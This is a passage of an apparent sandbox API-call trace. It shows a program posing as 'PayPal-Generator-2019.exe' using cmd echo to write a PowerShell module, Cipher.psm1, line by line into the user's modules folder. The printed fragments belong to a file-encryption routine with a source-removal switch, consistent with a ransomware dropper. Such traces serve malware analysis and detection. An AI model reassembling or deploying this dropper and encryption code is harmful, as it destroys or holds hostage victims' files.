(_String1="echo", _String2="RENAME") returned -13 [0049.206] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.206] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.206] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e3a4 | out: _Buffer=" [Parameter(Mandatory=$false, Position=6)] \r\n") returned 49 [0049.206] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.206] GetFileType (hFile=0x3c) returned 0x1 [0049.206] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=6)] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=6)] \r\n", lpUsedDefaultChar=0x0) returned 50 [0049.206] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe2e394, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e394*=0x31, lpOverlapped=0x0) returned 1 [0049.206] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.207] _close (_FileHandle=3) returned 0 [0049.207] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.207] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.207] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.207] GetFileType (hFile=0x3c) returned 0x2 [0049.207] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.207] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e58c | out: lpMode=0xe2e58c) returned 1 [0049.208] _dup (_FileHandle=1) returned 3 [0049.208] _close (_FileHandle=1) returned 0 [0049.208] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.208] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e56c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.209] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.209] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.209] GetFileType (hFile=0x3c) returned 0x1 [0049.209] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x84c [0049.209] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e584*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e584*=0) returned 0x84b [0049.209] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e588, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e578, lpOverlapped=0x0 | out: lpBuffer=0xe2e588*, lpNumberOfBytesRead=0xe2e578*=0x1, lpOverlapped=0x0) returned 1 [0049.209] GetConsoleTitleW (in: lpConsoleTitle=0xe2e388, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.209] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.209] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.209] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.209] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.209] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.210] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.210] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.210] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.210] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.210] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.210] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e344 | out: _Buffer=" [String]$Suffix = \".$Algorithm\", \r\n") returned 40 [0049.210] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.210] GetFileType (hFile=0x3c) returned 0x1 [0049.210] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$Suffix = \".$Algorithm\", \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$Suffix = \".$Algorithm\", \r\n", lpUsedDefaultChar=0x0) returned 41 [0049.210] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0xe2e334, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e334*=0x28, lpOverlapped=0x0) returned 1 [0049.210] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.210] _close (_FileHandle=3) returned 0 [0049.210] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.210] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.210] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.211] GetFileType (hFile=0x3c) returned 0x2 [0049.211] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.211] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e52c | out: lpMode=0xe2e52c) returned 1 [0049.211] _dup (_FileHandle=1) returned 3 [0049.211] _close (_FileHandle=1) returned 0 [0049.211] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.211] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e50c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.212] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.212] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.212] GetFileType (hFile=0x3c) returned 0x1 [0049.212] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x874 [0049.212] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e524*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e524*=0) returned 0x873 [0049.212] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e528, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e518, lpOverlapped=0x0 | out: lpBuffer=0xe2e528*, lpNumberOfBytesRead=0xe2e518*=0x1, lpOverlapped=0x0) returned 1 [0049.212] GetConsoleTitleW (in: lpConsoleTitle=0xe2e328, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.212] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.212] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.212] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.213] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.213] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.213] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.213] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.213] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.213] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.213] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.213] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e2e4 | out: _Buffer=" [Parameter()] \r\n") returned 21 [0049.213] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.213] GetFileType (hFile=0x3c) returned 0x1 [0049.213] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter()] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter()] \r\n", lpUsedDefaultChar=0x0) returned 22 [0049.213] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0xe2e2d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e2d4*=0x15, lpOverlapped=0x0) returned 1 [0049.213] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.214] _close (_FileHandle=3) returned 0 [0049.214] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.214] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.214] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.214] GetFileType (hFile=0x3c) returned 0x2 [0049.214] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.214] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e4cc | out: lpMode=0xe2e4cc) returned 1 [0049.215] _dup (_FileHandle=1) returned 3 [0049.215] _close (_FileHandle=1) returned 0 [0049.215] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.215] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e4ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.215] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.215] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.216] GetFileType (hFile=0x3c) returned 0x1 [0049.216] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x889 [0049.216] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e4c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e4c4*=0) returned 0x888 [0049.216] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e4c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e4b8, lpOverlapped=0x0 | out: lpBuffer=0xe2e4c8*, lpNumberOfBytesRead=0xe2e4b8*=0x1, lpOverlapped=0x0) returned 1 [0049.216] GetConsoleTitleW (in: lpConsoleTitle=0xe2e2c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.217] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.217] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.217] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.217] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.217] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.217] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.217] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.217] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.217] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.217] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.217] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e284 | out: _Buffer=" [Switch]$RemoveSource) \r\n") returned 30 [0049.217] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.217] GetFileType (hFile=0x3c) returned 0x1 [0049.217] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Switch]$RemoveSource) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Switch]$RemoveSource) \r\n", lpUsedDefaultChar=0x0) returned 31 [0049.217] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0xe2e274, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e274*=0x1e, lpOverlapped=0x0) returned 1 [0049.218] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.218] _close (_FileHandle=3) returned 0 [0049.218] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.218] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.218] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.218] GetFileType (hFile=0x3c) returned 0x2 [0049.218] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.218] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e46c | out: lpMode=0xe2e46c) returned 1 [0049.220] _dup (_FileHandle=1) returned 3 [0049.220] _close (_FileHandle=1) returned 0 [0049.220] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.220] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e44c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.220] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.220] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.220] GetFileType (hFile=0x3c) returned 0x1 [0049.220] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8a7 [0049.220] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e464*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e464*=0) returned 0x8a6 [0049.220] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e468, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e458, lpOverlapped=0x0 | out: lpBuffer=0xe2e468*, lpNumberOfBytesRead=0xe2e458*=0x1, lpOverlapped=0x0) returned 1 [0049.220] GetConsoleTitleW (in: lpConsoleTitle=0xe2e268, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.221] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.221] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.221] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.221] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.221] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.221] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.221] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.221] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.221] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.221] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.222] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e224 | out: _Buffer=" Begin { try { \r\n") returned 31 [0049.222] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.222] GetFileType (hFile=0x3c) returned 0x1 [0049.222] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Begin { try { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Begin { try { \r\n", lpUsedDefaultChar=0x0) returned 32 [0049.222] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0xe2e214, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e214*=0x1f, lpOverlapped=0x0) returned 1 [0049.222] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.222] _close (_FileHandle=3) returned 0 [0049.222] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.222] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.222] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.222] GetFileType (hFile=0x3c) returned 0x2 [0049.222] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.222] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e40c | out: lpMode=0xe2e40c) returned 1 [0049.223] _dup (_FileHandle=1) returned 3 [0049.223] _close (_FileHandle=1) returned 0 [0049.223] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.223] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e3ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.224] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.224] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.224] GetFileType (hFile=0x3c) returned 0x1 [0049.224] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8c6 [0049.224] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e404*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e404*=0) returned 0x8c5 [0049.224] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e408, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e3f8, lpOverlapped=0x0 | out: lpBuffer=0xe2e408*, lpNumberOfBytesRead=0xe2e3f8*=0x1, lpOverlapped=0x0) returned 1 [0049.224] GetConsoleTitleW (in: lpConsoleTitle=0xe2e208, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.225] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.225] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.225] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.225] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.225] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.225] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.225] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.225] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.225] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.225] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.226] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e1c4 | out: _Buffer=" if($PSCmdlet.ParameterSetName -eq 'PlainText') { \r\n") returned 65 [0049.226] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.226] GetFileType (hFile=0x3c) returned 0x1 [0049.226] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSCmdlet.ParameterSetName -eq 'PlainText') { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSCmdlet.ParameterSetName -eq 'PlainText') { \r\n", lpUsedDefaultChar=0x0) returned 66 [0049.226] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe2e1b4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e1b4*=0x41, lpOverlapped=0x0) returned 1 [0049.226] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.226] _close (_FileHandle=3) returned 0 [0049.227] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.227] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.227] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.227] GetFileType (hFile=0x3c) returned 0x2 [0049.227] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.227] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e3ac | out: lpMode=0xe2e3ac) returned 1 [0049.228] _dup (_FileHandle=1) returned 3 [0049.228] _close (_FileHandle=1) returned 0 [0049.228] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.228] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e38c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.228] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.228] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.228] GetFileType (hFile=0x3c) returned 0x1 [0049.228] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x907 [0049.229] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e3a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e3a4*=0) returned 0x906 [0049.229] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e3a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e398, lpOverlapped=0x0 | out: lpBuffer=0xe2e3a8*, lpNumberOfBytesRead=0xe2e398*=0x1, lpOverlapped=0x0) returned 1 [0049.229] GetConsoleTitleW (in: lpConsoleTitle=0xe2e1a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.229] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.229] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.229] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.229] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.230] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.230] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.230] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.230] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.230] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.230] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.230] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e164 | out: _Buffer=" $Key = $KeyAsPlainText | ConvertTo-SecureString -AsPlainText -Force} \r\n") returned 89 [0049.230] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.230] GetFileType (hFile=0x3c) returned 0x1 [0049.230] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Key = $KeyAsPlainText | ConvertTo-SecureString -AsPlainText -Force} \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Key = $KeyAsPlainText | ConvertTo-SecureString -AsPlainText -Force} \r\n", lpUsedDefaultChar=0x0) returned 90 [0049.230] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xe2e154, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e154*=0x59, lpOverlapped=0x0) returned 1 [0049.231] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.231] _close (_FileHandle=3) returned 0 [0049.231] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.231] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.231] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.231] GetFileType (hFile=0x3c) returned 0x2 [0049.231] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.231] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e34c | out: lpMode=0xe2e34c) returned 1 [0049.232] _dup (_FileHandle=1) returned 3 [0049.232] _close (_FileHandle=1) returned 0 [0049.232] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.232] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e32c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.232] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.232] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.232] GetFileType (hFile=0x3c) returned 0x1 [0049.233] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x960 [0049.233] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e344*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e344*=0) returned 0x95f [0049.233] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e348, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e338, lpOverlapped=0x0 | out: lpBuffer=0xe2e348*, lpNumberOfBytesRead=0xe2e338*=0x1, lpOverlapped=0x0) returned 1 [0049.233] GetConsoleTitleW (in: lpConsoleTitle=0xe2e148, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.233] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.233] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.233] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.233] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.234] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.234] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.234] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.234] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.234] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.234] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.234] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e104 | out: _Buffer=" $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) \r\n") returned 90 [0049.234] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.234] GetFileType (hFile=0x3c) returned 0x1 [0049.234] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) \r\n", lpUsedDefaultChar=0x0) returned 91 [0049.234] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xe2e0f4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e0f4*=0x5a, lpOverlapped=0x0) returned 1 [0049.234] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.235] _close (_FileHandle=3) returned 0 [0049.235] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.235] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.235] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.235] GetFileType (hFile=0x3c) returned 0x2 [0049.235] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.235] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e2ec | out: lpMode=0xe2e2ec) returned 1 [0049.236] _dup (_FileHandle=1) returned 3 [0049.236] _close (_FileHandle=1) returned 0 [0049.236] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.236] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e2cc, 